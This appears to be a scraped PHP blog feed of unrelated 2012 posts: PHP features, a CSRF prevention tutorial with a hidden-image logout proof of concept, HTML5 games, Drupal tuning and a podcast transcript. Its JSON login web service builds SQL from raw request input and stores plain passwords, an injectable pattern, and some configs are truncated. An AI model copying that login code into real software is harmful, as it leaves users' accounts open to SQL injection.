PHP 5.3.0 offers a wide range of new features:

Support for namespaces has been added.
Support for Late Static Bindings has been added.
Support for jump labels (limited goto) has been added.
Support for native Closures (Lambda/Anonymous functions) has been added.
There are two new magic methods, __callStatic() and __invoke().
Nowdoc syntax is now supported, similar to Heredoc syntax, but with single quotes.
It is now possible to use Heredocs to initialize static variables and class properties/constants.
Heredocs may now be declared using double quotes, complementing the Nowdoc syntax.
Constants can now be declared outside a class using the const keyword.
The ternary operator now has a shorthand form: ?:.
The HTTP stream wrapper now considers all status codes from 200 to 399 to be successful.
Dynamic access to static methods is now possible.
Exceptions can now be nested.
A garbage collector for circular references has been added, and is enabled by default.
The mail() function now supports logging of sent email. (Note: This only applies to email sent through this function.)

Calculate date difference in days in php

Tue, 17 Jul 2012 22:10:27 +0000

In this tutorial you will learn how to PHP date difference in days in a PHP web application. The strtotime() function that convert date to time in second .The date difference (in second ) divide by (60 * 60 * 24) that convert into days.

$date1=date('2011-3-1');

$date2=date('2011-1-1');
echo "date1 : ".$date1."";

echo "date2 : ".$date2."";

echo "date difference in-days :: ";

$date_diff=strtotime($date1) - strtotime($date2);
echo ($date_diff/(60 * 60 * 24))." days";

Preventing Cross-Site Request Forgeries

Tue, 17 Jul 2012 02:25:34 +0000

Cross-site request forgery (CSRF) is a common and serious exploit where a user is tricked into performing an action he didn't explicitly intend to do. This can happen when, for example, the user is logged in to one of his favorite websites and proceeds to click a seemingly harmless link. In the background, his profile information is silently updated with an attacker's e-mail address. The attacker can then use the website's password reset feature to e-mail herself a new password and she's just successfully stolen the account. Any action that a user is allowed to perform while logged in to a website, an attacker can perform on his/her behalf, whether it's updating a profile, adding items to a shopping cart, posting messages on a forum, or practically anything else.
If you've never heard of CSRF before or you haven't written your code with prevention in mind, then I hate to break it to you but more than likely you're vulnerable. In this guide I will show you exactly how CSRF attacks work and what you can do to protect your users.
How It Works
To understand how a CSRF attack works, it's best to see it in action. To illustrate an attack, I'd like to create a simple example that has the ability to logout an active session. We will need a login page (login.php), a processing script to handle logging in and logging out of the session (process.php), and finally an example attack (harmless.html).
First, here's the code for login.php:

<?php
session_start();
?>
<html>
<body>
<?php
if (isset($_SESSION["user"])) {
    echo "<p>Welcome back, " . $_SESSION["user"] . "!<br>";
    echo '<a href="process.php?action=logout">Logout</a></p>';
}
else {
?>
<form action="process.php?action=login" method="post">
   <p>The username is: admin</p>
   <input type="text" name="user" size="20">
   <p>The password is: test</p>
   <input type="password" name="pass" size="20">
   <input type="submit" value="Login">
</form>
<?php
}
?>
</body>
</html>

The login.php script begins by initializing the session data. It then checks to see if $_SESSION["user"] has been set, and if so displays a welcome message along with a link to logout. Otherwise it displays the login form.
This is the processing script, process.php:

<?php
session_start();
switch($_GET["action"]) {
    case "login":
        if ($_SERVER["REQUEST_METHOD"] == "POST") {
            $user = (isset($_POST["user"]) &&
                ctype_alnum($_POST["user"]) ? $_POST["user"] : null;
            $pass = (isset($_POST["pass"])) ? $_POST["pass"] : null;
            $salt = '$2a$07$my.s3cr3t.SalTY.str1nG$';
            if (isset($user, $pass) && (crypt($user . $pass, $salt) ==
                crypt("admintest", $salt))) {
                $_SESSION["user"] = $_POST["user"];
            }
        }
        break;
    case "logout":
        $_SESSION = array();
        session_destroy();
        break;
}
header("Location: login.php");
?>

The process.php script also begins by initializing the session data, and then checks to see if there is an action to work with. We perform some basic input validation using PHP's ternary operator along with the ctype_alnum() and crypt() functions, and then set or destroy the session variable accordingly. The user is redirected back to login.php at the end of the script.
Now let's focus on the file an attacker might create to exploit the code in our previous examples. This is the exploit code, harmless.html:

<html>
<body>
<p>This page is harmless... Or is it?</p>

<img src="process.php?action=logout" style="display: none;">
</body>
</html>

If you visit login.php and log in to your account, and then while logged in you proceed to visit the attacker's page, you will be automatically logged out even though you didn't click the logout link. The browser sends a request to the server to access the process.php script, expecting it to be an image file. The processing script has no way of differentiating between a valid request initiated by a user clicking on the logout link and a cleverly-crafted request the browser was tricked into sending.
The harmless.html file could be hosted on an entirely different server than the one you're logged into, and it would still work because the attacker's page is making a request on your behalf using the session you have open in the background. It doesn't even matter if the website you're logged into is on a private network, the request will be submitted from your IP address as if you made the request yourself, making a trace to the source of the attack nearly impossible.
Additionally, if you allow your users to link to images as a profile avatar or the like, without proper escaping and sanitizing of the user supplied data the attack may even be possible within your own web domain.
While logging someone out of a website isn't that impressive, harmless.html could have just as easily contained a hidden inline frame (as opposed to an image tag) with a form that automatically submits when the page is loaded, which would make any of the attacks mentioned at the beginning of this guide fair game.
Hopefully now you understand just how serious CSRF attacks can be, so let's take a look at how you can prevent them.
Protecting Your Users
In order to ensure that an action is actually being performed by the user rather than a third party, you need to associate it with some sort of unique identifier which can then be verified. To prevent the attack, we can modify login.php as follows:

<?php
// make a random id
$_SESSION["token"] = md5(uniqid(mt_rand(), true));
echo '<a href="process.php?action=logout&csrf=' . $_SESSION["token"] . '">Logout</a></p>';
Then to verify the identifier, we can modify process.php as follows:
case "logout":
    if (isset($_GET["csrf"]) && $_GET["csrf"] == $_SESSION["token"]) {
        $_SESSION = array();
        session_destroy();
    }
    break;

With these simple modifications, harmless.html will no longer work because the attacker has been given the additional task of having to guess an additional random token value. To protect forms, you can also include the identifier inside of a hidden field as follows so it is submitted along with the rest of the form data.

In my own opinion, despite the best intentioned harassing of my esteemed friends and colleagues, I prefer to use PHP's session_id() rather than generating a random token since I'm not particularly fond of the "security through obscurity" approach. In addition to using session_id(), I also use session_regenerate_id() whenever logging in or updating sensitive information in order to mitigate the risk of any session fixation attacks, and I never append the id to a URL that will be stored in the browsers history. Arbitrarily exposing the session id more than necessary is never a good idea, but so long as you're careful I think it's a more elegant approach. Of course, if your website uses some type of authentication that doesn't use sessions, then you'd need to generate your own id anyway.

HTML5 and the Future of Online Games

Fri, 25 May 2012 19:07:16 +0000

The Golden Child: Flash Games

For several years now Adobe Flash has been the dominate technology used to create online games. It is so popular in fact that the term “flash games” has almost become synonymous with browser based games in general. Take a look at all of the major gaming portals; with a few exceptions, practically all of the games they offer are flash games.

What’s so wrong with Flash you ask? Well nothing really. It was an amazing technology that was used to add all sorts of functionality to browsers. Through the use of a plug-in developers could now include all sorts of interactivity and animated graphics to their web pages. However things are changing, and Flash may no longer be the best fit for many online applications.

Browsers are a lot smarter now and they are only going to continue to get smarter. Rather than relying upon plug-ins to display interactive and graphically intense pages modern browsers can do it all by themselves. Utilizing the W3C, the specification for HTML5, browser makers are including all sorts of functionality into their products
that web developers can now use to make graphically intensive and interactive websites. This has special implications for online game designers. Soon (hopefully) designers will no longer be forced to choose from a select few proprietary technologies that not only are expensive, but also obligate their end users to download, install, and regularly update the respective plug-ins.

The New Kid on the Block: HTML5 Games

Traditionally the role of HTML has been used primarily to define and layout the text on web pages. Over the years, however, its role has slowly evolved to be more interactive. The new HTML5 spec furthers this evolution by including definitions for several additional elements aimed at interactivity, multimedia, and graphics. Combine
these new HTML5 elements with the faster and enhanced JavaScript engines available in modern browsers and you now have a set of tools perfectly suited for online game development.

Some advantages of HTML5 for Games

Not only are the HTML5 technologies well suited for creating browser based games, they offer several advantages over proprietary options. HTML5 is an open technology. It doesn’t cost anything and technically only requires a simple text editor to code in. Never underestimate the power of free. Flash and other proprietary technologies all cost the developer. While this certainly isn’t the only factor that a game developer would consider, it certainly does play a role, and for the small time indie developer it might be a very big factor. Compatibility is another huge advantage HTML5 has. HTML is the lowest common denominator for all web based devices. By using HTML5 you can target a wider array of devices and gadgets without having to specifically port your game to each different platform. Another often forgotten advantage is ease of use. For the technically savvy, downloading, installing, and updating plug-ins is only a minor hassle. However, for less technically savvy users this can be quite a hurdle and just may turn away users altogether.

Some Interesting Charts

Above you will find some charts from Google Trends for the search term “flash games” and then also the term “html5 games”. It is easy to see that searches for “flash games” have been in steady decline for over the past 5 years while searches for HTML5 games have seen some pretty impressive growth in the past 3 years. While this really doesn’t prove anything, it is an interesting metric to help gauge the popularity trends of the two different technologies. It is important to note that these charts show only relative search volume and not overall volume. Per the Google Adwords tool, the monthly global search volume for “flash games” is 11,100,000 compared to a measly 49,500 for “html5 games”.

The Future of online Games

Will HTML5 be the end of plug-in based games? If it is, it is pretty safe to say that it won’t be happening anytime soon. It is estimated that the HTML5 spec will not be fully implemented until 2022. Despite this long time-frame, browser makers are already racing to include all the HTML5 functionality that they can. Game developers have taken advantage of this and created numerous quality games that easily compete with their flash counterparts. Take a look at all these HTML5 games to see some excellent examples of what is already possible with the new technology.

Given the current search trends and the several advantages HTML5 has over Flash, the future for HTML5 games looks bright. While it is not certain if HTML5 will eventually win out to become the gaming technology of choice, one thing is for certain: the love of online casual gaming has captured the interest of millions and as long as that interest exists developers will continue to create fun and exciting games.

Reference:- sitepoint.com

PHP Memory_limit - Why Do I Get The Error Allowed Memory Size Of Xxx Bytes

Thu, 24 May 2012 05:11:09 +0000

Why do I get the error Allowed memory size of Xxx bytes exhausted?

this is because you have exhausted your memory on your server. this often happens when you have a large site or with big files or simply have really messy coding that requires alot of resources from your web server. In shared hosting, this is common. however, if you have a dedicated server you can chang the memory limit in your php.ini file to 16 or 32. but if you don't have a dedicated server you can create a .htaccess file to do the same without changing the php.ini file.

You are exhausting the available memory that PHP has access to. In php.ini there is a config variable named memory_limit that by default is set to 8MB. Edit php.ini and increase it to a larger value (restart Apache afterwards). If you don't have access to php.ini, you can add this line to your .htaccess file in your gallery2 folder. Usually, unless you are the owner of the server, you don't have access to change php.ini. If there is no .htaccess file yet, you can create one (it's just a text file with the name '.htaccess').

Code:

php_value memory_limit [new memory limit]

To change it to 24 MB, write:

Code:

php_value memory_limit 24M

If the .htaccess method does not work or if you get an internal server error after adding this line, remove the line from the .htaccess again. You can also try to change the memory_limit by adding the following line right after '<?php ' in install/index.php and in main.php:

Code:

ini_set("memory_limit","32M");

If there's no "memory_limit" parameter in your phpinfo page, then all PHP/Webserver processes are limited by the per process max memory limit. You'll have to ask an administrator to change the limit in this case. On linux/unix, you can check the limit with the following command in the shell:

Code:

ulimit -a

Or with PHP with a script check.php

Code:

<?php print system('ulimit -a'); ?>

Gmail Keyboard shortcuts - Simple yet effective tips by PHP Expert

Wed, 09 May 2012 21:41:29 +0000

Will it ever Matter if PHP Sucks? - Lately in PHP podcast episode 23 - PHP Classes blog : PHP Expert India

Mon, 07 May 2012 21:56:40 +0000

One Classic Article - Transcripted ---

Introduction (0:20)

PHP 5.4.1 and 5.3.11 releases and Apache 2.4 support (2:29)

The polemic of the pure PHP scripts proposal (5:57)

Case sensitive PHP function names proposal (12:26)

Proposal to skip optional arguments in PHP function calls (16:52)

"PHP Sucks but it still doesn't matter" (19:23)

Making the Web Faster with HTTP 2.0 and consequences for PHP developers (33:26)

Latest JavaScript Objects published in the JSClasses site (50:17)

PHP Programming Innovation Award of February 2012 (56:41)

Conclusion (1:03:44)

Introduction (0:20)

Manuel Lemos: Hello, welcome to the Lately in PHP podcast, this is episode 23, and this time we're starting something new, an experimental thing which is basically to record and actually transmit the podcast recording live to whoever may be attending.

Pprobably this is not the best day to record, only Ernani came here to the podcast. Hello, Ernani, how are you doing?

Ernani Joppert: Hello, Manuel, I'm doing great, lots of things to talk about, I'm glad to be here and see if this goes as a different experience.

Manuel Lemos: Yes, it certainly will go, actually we already recorded the...

Ernani Joppert: The JS Classes, right?

Manuel Lemos: Right, the first edition of JS Classes...

Ernani Joppert: Oh, I see some little elephants there.

Manuel Lemos: Right. Basically these are the well-known PHP mascots, actually there is a big one and a small one, but actually as I mentioned previously, there will be a new one which will look like the original PHP mascot.

Ernani Joppert: From PHP Classes.

Manuel Lemos: Right. PHP Classes mascot, I'm trying to show it in the screen, this is a prototype, this is not the final version of the new mascot. In the end it will look like exactly as you see in the PHP Classes site.

This is just a test, they are still iterating, and hopefully it will look much closer to the logo used in the PHP Classes site which is basically a creation of Ifat Amit, a lady, that created the current design, the current theme of the PHP Classes site.

PHP 5.4.1 and 5.3.11 releases and Apache 2.4 support (2:29)

Manuel Lemos: And, anyway, we are actually moving on to the actual podcast, and today we have several topics, several interesting topics to talk about starting from the just released PHP 5.4.1 that was released yesterday, today is already the 27th, and yesterday it was released both PHP 5.4.1 and the PHP 5.3.11.

Well, there is not much to say about these revisions of PHP, probably the greatest new thing that was introduced is the support for Apache 2.4 which was not previously working, the build was not working with that Apache version, but now it seems to be working, I have not tried it yet, but I actually intend to upgrade PHP 5.3 to this revision 11, and mainly because it contains a security vulnerability fix done by Stefan Hesser in a way that magic quotes are handled.

I do not use magic codes anywhere, but since it seems to be a security vulnerability it's always good to upgrade.

Ernani, are you already using PHP 5.4, are you planning to, what is your plan?

Ernani Joppert: Yes, I'm planning to do an upgrade, I'm still with 5.3-something, can't recall.

Manuel Lemos: Well, personally I'm not planning any upgrade anytime sooner than when I really need it, and at least for me PHP 5.4 does not provide anything that I really need, like traits.

It's interesting but I do not have a great interest in them, and PHP as it is is already good enough for me, I mean prior to PHP 5.4, but other people may want to upgrade. For instance, the use of the built-in web server which is mainly meant for development environment, it's interesting but you don't need to upgrade your version in the server.

Ernani Joppert: Yeah, eventually it can also represent a problem because when you're doing development you should develop within the host environment that you will plan to deploy, so if you use Apache then you have to test it with Apache, but I understand for small testings it's a valid improvement for the solution.

Manuel Lemos: Yes, I'm sure several people were expecting PHP 5.4 to be a release to use the new features.

Ernani Joppert: Oh, yeah.

Manuel Lemos: We don't know yet if it had great adoption, it will probably only have adoption on environments in which the developer somehow controls besides the version that is available, and we don't really need it much, but people that need it will take advantage of those features and will appreciate it.

Anyway, we talked a lot about PHP 5.4 features in past episodes, so there's no need to go through the features again.

The polemic of the pure PHP scripts proposal (5:57)

Manuel Lemos: We are going now to move on to something else that has been happening in the PHP world, actually this month was sort of intense. I'm not sure if it was intense in terms of importance, but there was a topic that is discussed..

Ernani Joppert: A little heat.

Manuel Lemos: Well, a little bit, it's just a way of saying it was intensively.

Ernani Joppert: No, I mean a little heat on the topic, like on the discussion.

Manuel Lemos: Yeah. And the topic that I'm referring to is basically the proposal to have a sort of variant of PHP source file that does not allow those PHP start and end tags, so the regular PHP scripts are basically mean to be some HTML or something else, and with PHP embedded on it using those PHP start/end tags.

So the proposal is to sort of, well, not exactly abolish because they still want to support the current form of PHP source files.

Ernani Joppert: It seems that this is an RFC proposal right, and they are trying to separate the mixed PHP with HTML and pure PHP scripts as far as could understand in order to facilitate some specifics on frameworks related code as well as naming conventions, etcetera.

Manuel Lemos: Yeah, well, actually that's probably the ironic part of the proposal because the proponents seem to want to stop people, or at least discourage people from mixing HTML templates inside the PHP or vice versa, whatever you want to see it.

And what they propose it to have a new type of PHP source file that only includes PHP code, and the current way of embedding HTML or some other kind of output in the middle of PHP would be disallowed.

And I think the ironic part is that many frameworks, many MVC frameworks they propose the use of PHP files, actually it would be HTML templates with PHP embedded on them.

And this somehow means that they still want to have that forever, embedded PHP code in the middle of HTML or whatever is the output from that. And anyway, we are just talking about this because the discussion was quite intense.

Ernani Joppert: Oh, yeah. And what would you think about having this adopted, I mean are you up to it or what's your preference?

Manuel Lemos: Well, personally I do not care because even if I was in favor of implementing a specific alteration in PHP engine to support those different types of PHP source code I probably would not care, but for those that want to use those PHP only code they can do it now, the only thing is that they still have to put those PHP start and end marks in their source files, so all this discussion because they do not want to put those marks.

Ernani Joppert: I mean I'm sure that there are some other important things to care about, right?

Manuel Lemos: Well, right, but regarding this proposal the discussion was so intense, I probably missed maybe some important arguments in favor of it, but the best argument in favor of it was that they sort of are concerned that sometimes use PHP start and end marks, and for an accident you enter an additional line break and that may break PHP code like, for instance, triggering the issue of the content type headers.

And, well, okay I understand that is a concern, it happens, it actually happened to me some time ago, but it doesn't happen to me every time, and I'm not sure if all this discussion is justified, it seems that somebody just started the idea and everybody also wanted to give their opinion.

There is not just one RFC, from what I counted there are at least three RFC's that basically propose the same, just a slight variants of the same idea.

I think because I really did not have much patience to go through all the proposals, but, well, for me it's like you said, I do not intend to use it, I'm not really concerned, I just wanted to mention it because there is this intense debate, and from what I could understand it did not yet end, and probably people will keep talking about it.

And it's just amazing how something that may not really be necessary to be part of PHP raises such a great discussion, actually a flame war, and, well anyway that's just my perspective, I don't know if you have a similar perspective.

Ernani Joppert: Yeah, I totally agree with you, I mean it should, those changes probably are useful for some people otherwise it wouldn't even be proposed, but yeah, normally changes within the PHP engine or the PHP core itself it's kind of problematic and it brings lots of ins and outs, and it's always a struggle in that sense.

Case sensitive PHP function names proposal (12:26)

Manuel Lemos: Yeah. Well, anyway, there were also other proposals despite this proposal itself took a lot of discussion there were other proposals that did not get so much attention, but I think it will probably be worth mentioning.

There was one that was sort of proposing, or at least reviving an old topic, discussion whether PHP function names should be case-sensitive or be case-insensitive just like they are currently, and the main argument in favor of making it case-sensitive is if you use certain characters to be represented in Unicode, UTF8, the upper and lower-case version of those characters is just not a matter of changing one byte.

And for me I just wonder, well, is it really something normal to write PHP code using non-ASCII characters? Ernani, I don't know if you use names in Portuguese in your code, but you don't, right?

Ernani Joppert: No, no, no, especially when there are special characters. I try to keep everything English, sometimes you just don't care and you write some variables names in Portuguese, but I try to avoid it.

And normally what I do is I use the spell correction tool just to make sure that it can understand everything, and I do this such as a reports tool for the code when I'm looking into the code. But, yes, I have never had the experience of having to write variables with special words or special characters.

Manuel Lemos: Yeah, well, for me this is a bit odd because, also despite my mother language is Portuguese which has some non-ASCII characters I never use them, actually I was not even sure if PHP supported non-ASCII characters in names, the functions.

Ernani Joppert: I don't think I've ever tried and never have used a special word or accents on a variable just to see if it works, I can't even tell.

Manuel Lemos: Yeah, well, I know that the original proposal of PHP 6 was meant to make this a common thing, if you wanted to write your code with variables and functions in Chinese you could, but, well it seems that the person that proposed this was concerned about these words in foreign languages that making the upper and lower to match names during the execution of PHP to see...

Ernani Joppert: Maybe they want to make the convention similar to what Java does with camel case script such as I guess Ruby as well requires that.

Manuel Lemos: From what I understood the idea is to avoid the overhead because if you want to see if a name is the same but with a different case you have to probably map all to lower case or all to upper case and compare the versions of the names.

And actually if you are using non-ASCII characters and you are using, for instance UTF8, some characters will be mapped to two bytes or maybe more in some idioms, some languages.

And I think the person in question wanted to avoid that overhead, but the problem is that it will cause major backwards incompatibilities, and this I don't know if that headache would be worth making all case-sensitive, and I think the main concern was to be performance.

Well, anyway, the discussion on this proposal practically died do I don't think it will go anywhere.

Ernani Joppert: Right.

Proposal to skip optional arguments in PHP function calls (16:52)

Manuel Lemos: Anyway, moving on, another proposal that will probably go on because it seems to be useful and does not cause any backwards incompatibilities in PHP, is the possibility to when you call a function that has optional arguments you can skip some of the arguments and specify the last ones.

This is an interesting feature of PHP which probably makes it more flexible than other languages that do not have this thing, which is the optional values in the parameters, because this allows, for instance, if you want to evolve your code and now you want a certain function to have a new parameter you can add that parameter and assume the defaults so old code that used to call the version with less arguments would still work.

And the idea of this proposal I think it was from Stas Malyshev, whom is one of the maintainers of PHP 5.4, although this proposal does not seem to be related, is the possibility if you have several optional arguments, parameters to a function, in the call you can skip some of the middle optional parameters and only specify one or more of the last parameters.

And I can see certain cases in which this would probably be interesting because it would allow you to change the default values on some of those key parameters. And it seems the proposal got some acceptance and probably will be implemented in a future PHP release, well, we'll see. Personally I find it interesting.

Ernani, during your so-called day job you work more with Java, I suppose Java does not have optional parameters in functions, right?

Ernani Joppert: No, no, no, you have to specify them all. But in ActionScript you can specify some fields with a predefined value such as null, and if it's not passed then it takes the default, but Java doesn't.

Manuel Lemos: Well, for me it's very interesting, and I think it's one of the advantages that is rarely discussed, which is the possibility of those optional parameters.

"PHP Sucks but it still doesn't matter" (19:23)

Manuel Lemos: Okay, but moving on with our podcast, we are going to talk a bit about yet another discussion against PHP, there is this article with the title "PHP, A fractal of a Bad Design", which goes through an extensive list of I would say inconsistencies or things that you can say that in PHP are a result of something that was not well designed in PHP as a language.

And I think this discussion that showed up a lot in many sites, I think in the HackerNews forums it was discussed a lot, and when I found this article basically it was a tweet by Jeff Atwood, one of the founders of the StackOverflow site, and he is well known by his alias @codinghorror, and he has a lot of articles related with programming for which he has a lot of followers.

And I found a tweet by him that basically says that "PHP sucks but it still doesn't matter". Well, he says it still doesn't matter because in 2008 he already wrote an article precisely with that title in which he was commenting that despite all the problems that PHP has, PHP is a very popular language no matter what.

So from what I understood basically he was saying that it's sort of pointless to complain about PHP because that does not affect PHP popularity.

In my opinion PHP popularity came from the fact that it was a language created for creating web applications, and since the Web got very popular PHP also got very popular.

Other languages followed to provide better support for web programming, but they came out later. And other than that several killer PHP applications may be so popular that it's going to be impossible for any other language to defeat in the web field. I am thinking about, for instance, WordPress and others, other applications written in PHP that make PHP like a plague, you can't get rid of it.

And this is very interesting because although we PHP developers already know very well those deficiencies of PHP, we don't bother because we all got used to those deficiencies, so it doesn't matter for us if somebody claims with a well thought article with all the arguments against PHP because it won't change our minds, we work with PHP, we make money with PHP, and although we reckon that other languages are probably better designed, it will hardly make a difference for us.

And that was one point, another point is that all these articles that PHP sucks and PHP should be banned, or whatever are their intentions...

Ernani Joppert: Yeah, I guess this goes with the maturity level of the writer.

Manuel Lemos: Well, it's not just that, I think all these people that complain about PHP have an agenda to promote some other language.

Ernani Joppert: Yeah, oh, sure. And it's sort of a maturity thing as well because you see some analogies that they compare Yoda with etcetera, and then you see the drill, but it's not just that Yoda is something immature, but I'm bringing the funny part here, which it's like in order to be somebody you have to be a Jedi, and this is not a Jedi thing, and then you see the drill, you see the whole dilemma about who came in first, the egg or the chicken, and they go around and then you don't see much of a well concise frustration about it.

I mean, okay, there are better languages, but if you have to do it with a small footprint and you don't have RAM enough within your server to host a website and you need to have a blogging system write off the hand, or you need a forum, I've seen lots of other Java community sites which use PHPBB as their bulletin board.

Manuel Lemos: Right.

Ernani Joppert: So the point is there is no point in complaining about specific language otherwise there wouldn't be different languages, it's like complaining because you don't like to speak English or you don't like to speak Portuguese, and you never speak anything else, but it's ugly, and it goes nowhere, it's another language, so if you need to communicate with a team that only speaks French you will have to learn French or they would have to understand your English.

Manuel Lemos: But, well, what I think is that those people that are complaining for some reason they had to face a job on which they are mandated by their bosses, or whoever, to use PHP and shut up, and that's probably annoying them so much.

Ernani Joppert: Oh, I see. So they hope that writing these high-impact articles, well described with all the arguments against PHP, they hope that somebody sees the light and stops using PHP.

Manuel Lemos: Yeah, but it's like you working in Brazil and you don't like Portuguese-brazilian because you're from Portugal, and you complain because everybody here speaks Brazilian Portuguese, it doesn't make any sense, I mean you're in Brazil so you have to speak Brazilian Portuguese.

Ernani Joppert: Right. In Rome you have to be Roman.

Manuel Lemos: Yeah. And try to go to a certain country where they are very nationalistic about their rules, we all know that France has a very strict language rule, and it's very hard sometimes to get something out of them by just throwing out English because people are traditional, so they prefer to keep their patriotism.

Ernani Joppert: Well, in their country they are entitled to demand that everybody speaks their language, but if they are tolerant and if they are friendly they should somehow allow the fact is that not everybody knows French or had the opportunity to learn French.

Manuel Lemos: Yeah. Although if you go to France you should somehow learn the basics.

Things we need to increase performance-

1>Things which can be done in Drupal admin settings section:-

- Enable Caching
- Enable CSS Compression and Aggregation (Log in to your Drupal admin area and go to Site Configuration > Performance. Besides enabling cache, you should also enable Page compression, Optimize CSS files and Optimize JavaScript files.)
- Go to MySQL and Enable Query cache in MySql
- Go to PHP and Add a PHP OpCode Cache (APC)

Disable/remove all modules/blocks you are not using.

Anonymous User caching

- Set up a Reverse Proxy Cache (this keeps pages in memory and serves anonymous visitors cache page through RAM instead of dynamically via the database). For Pressflow 6 & Drupal 6 sites, set up the Reverse Proxy Cache using VARNISH (http://varnish-cache.org). However, for a Drupal 5 site, it's harder to setup a Reverse Proxy Cache, so instead of Varnish, We instead recommend using the Boost module (http://drupal.org/project/boost)

A good cache lifetime is 5 minutes, or 12 times an hour.

Authenticated User caching

Use Memcache (http://drupal.org/project/memcache and http://memcached.org) along with Pathcache (http://drupal.org/project/pathcache) for drupal lookup path queries.
This puts most authenticated user queries into memory (RAM)

We should have at least 2 Servers (if possible)

Best practice for scaling is to have at least 2 servers; one dedicated server for content, and a seperate server just for the Database. Then optimize each server for its specific task. Ideally, both are powerful servers, but if you have to choose, give the Database more resources.

MySQL Tuning

The recommended settings in the /etc/my.cnf file for a Drupal-based website are:

max_connections = 800
max_user_connections = 800
key_buffer = 36M
myisam_sort_buffer_size = 64M
join_buffer_size = 2M
read_buffer_size = 2M
sort_buffer_size = 3M
table_cache = 1024
thread_cache_size = 286
interactive_timeout = 25
wait_timeout = 1800
connect_timeout = 10
max_allowed_packet = 1M
max_connect_errors = 999999
query_cache_limit = 1M
query_cache_size = 16M
query_cache_type = 1
tmp_table_size = 16M

Apache Server ( Enabling Compression ):-

# Insert filter

SetOutputFilter DEFLATE

# Netscape 4.x has some problems...

BrowserMatch ^Mozilla/4 gzip-only-text/html

# Netscape 4.06-4.08 have some more problems

BrowserMatch ^Mozilla/4\.0[678] no-gzip

# MSIE masquerades as Netscape, but it is fine

BrowserMatch \bMSIE !no-gzip !gzip-only-text/html

# Don't compress images

SetEnvIfNoCase Request_URI \

\.(?:gif|jpe?g|png)$ no-gzip dont-vary

# Make sure proxies don't deliver the wrong content

Header append Vary User-Agent env=!dont-vary

</Location>

Or in latest way use mod_filter as specified in below link

http://httpd.apache.org/docs/2.2/mod/mod_filter.html

More on Apache Level Caching

Add the file conf.d/cache.conf to your Apache config: -

NEW: We now add Expires headers as well as the Cache-Controlheaders to ensure optimal caching behavoir in all browsers.

# Caching by default options...

# cache static content in local disk cache for performance..

LoadModule cache_module modules/mod_cache.so

</IfModule>

LoadModule disk_cache_module modules/mod_disk_cache.so

</IfModule>

CacheRoot /data/apache/cache

CacheEnable disk /

CacheDirLevels 5

CacheDirLength 3

CacheIgnoreHeaders Set-Cookie

CacheIgnoreQueryString On

CacheLock on

CacheLockPath /tmp/mod_cache-lock

CacheLockMaxAge 5

</IfModule>

# some resonable default caching rules based on filetypes..

# Do not cache html or php

Header set Cache-Control "no-cache, no-store, must-revalidate"

</FilesMatch>

# Cache CSS and JavaScript for 1 day.

Header set Cache-Control "max-age=86400, public"

ExpiresActive On

ExpiresDefault "access plus 1 day"

</FilesMatch>

# Cache these files for a day...

Header set Cache-Control "max-age=86400, public"

ExpiresActive On

ExpiresDefault "access plus 1 day"

</FilesMatch>

# Cache icons and shockwave flash for 1 month.

Header set Cache-Control "max-age=2678400, public"

ExpiresActive On

ExpiresDefault "access plus 1 month"

</FilesMatch>

# Cache images for a month...

Header set Cache-Control "max-age=2678400, public"

ExpiresActive On

ExpiresDefault "access plus 1 month"

</FilesMatch>

# Cache fonts for a month

Header set Cache-Control "max-age=2678400, public"

ExpiresActive On

ExpiresDefault "access plus 1 month"

</FilesMatch>

# Use a simple ETag without inode in it

FileETag MTime Size

This config does three different things to improve speed: -

1. Set cache-control headers on files that can be cached and not asked for each time

2. Enable the apache disk_cache to cache any page which is declared as cacheable.

3. Specify an ETag which does not include the content's file inode.

Keep-Alives - ask for things in batches

Keep-Alives also can have a major effect on website performance. They allow a browser to reuse an open TCP/IP connection to load multiple resources from the webserver. Without it, the browser has to close and re-open a new connection for each item it downloads, which is expensive, especially if you are located on a network a long way away from the web server. As even a simple web page can contain 50 or more assets, creating a new connection for each will really slow you down. Rather than turn this off, we want to enable and if then tune it as necessary.

# KeepAlive: Whether or not to allow persistent connections (more than

# one request per connection). Set to "Off" to deactivate.

KeepAlive On

# MaxKeepAliveRequests: The maximum number of requests to allow

# during a persistent connection. Set to 0 to allow an unlimited amount.

# We recommend you leave this number high, for maximum performance.

MaxKeepAliveRequests 100

# KeepAliveTimeout: Number of seconds to wait for the next request from the

# same client on the same connection.

KeepAliveTimeout 5

Enable GZIP components

Apart From this 4 main things we need to do to increase performance are

1>Convert MyIsam to Innodb for larger database which will enable row level locking for tables than table level which is there in MyIsam case

2>Add proper indexing to all required tables which will increase performance substantially and each query will take at-least 3 times lesser time than current time, may be lesser than that.

3>Check out for the connection type drupal/mysql is using that is whether its persistent connection or non-persistent connection and how many maximum connections are allowed during particular time.

4>Whether your server is shared server or dedicated server and whats the amount of bandwidth assigned to your site if its shared server for particular time.

How to write a webservices using php with json format

Thu, 08 Mar 2012 00:00:39 +0000

How to write a webservices using php with json format

Hi friends, In this post i would like to explain about how to write a web services using php with the json format. Now a days mobile applications are more popular. Most of mobile applications are implementing for existing websites. To isplay information from database to mobile one mediator is require. So that mediator implementing using php and the output as JSON format to easy to retrieve.

Web service for login method.

Login Method Code

1
2
3
4
5
6

function login($username,$password){
  $query = "select * from users where username='".$username."' AND password='".$password."'";
  $result = mysql_query($query);
  $num_rows = mysql_num_rows($result);
  return $num_rows;
}

In the web service page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

  <?php
/**********************************************************************
* Author :   Nilesh Pawar
* E-mail :   pawarnilesh4u@gmail.com
* Created on : 14th June 2011
* Version : 1.0
* Project : Wevservices
* Page : Login Webservices
     * Modified on :
* Modified by :
*************************************************************************/
// Includes the class which have the all functions
ini_set('display_errors', '1');
include_once("user.class.php");

/* Created object for User class*/
$web = new users();
/* This file return the sucess or failure with provided details ( username, password ) */

// USER NAME - user_name
// PASSWORD - password

if(isset($_REQUEST) && ($_REQUEST['user_name'] != "") && ($_REQUEST['password']!="") ){

  $result = $web->login($_REQUEST['user_name'],$_REQUEST['password']);
  echo json_encode(array('results'=>$result));
}

/* Provided output in the json encoded format */
// Call the database disconnection method
$web->connection_close();

?>

Call this method as

http://localhost/login.php?username=nilesh&password=123456

Output:

if correct {“result”:1} else {“result”:0}

Create a Basic Web Service Using PHP, MySQL, XML, and JSON

Wed, 07 Mar 2012 21:26:45 +0000

Web services are taking over the world. I credit Twitter's epic rise to the availability of a simple but rich API. Why not use the same model for your own sites? Here's how to create a basic web service that provides an XML or JSON response using some PHP and MySQL.

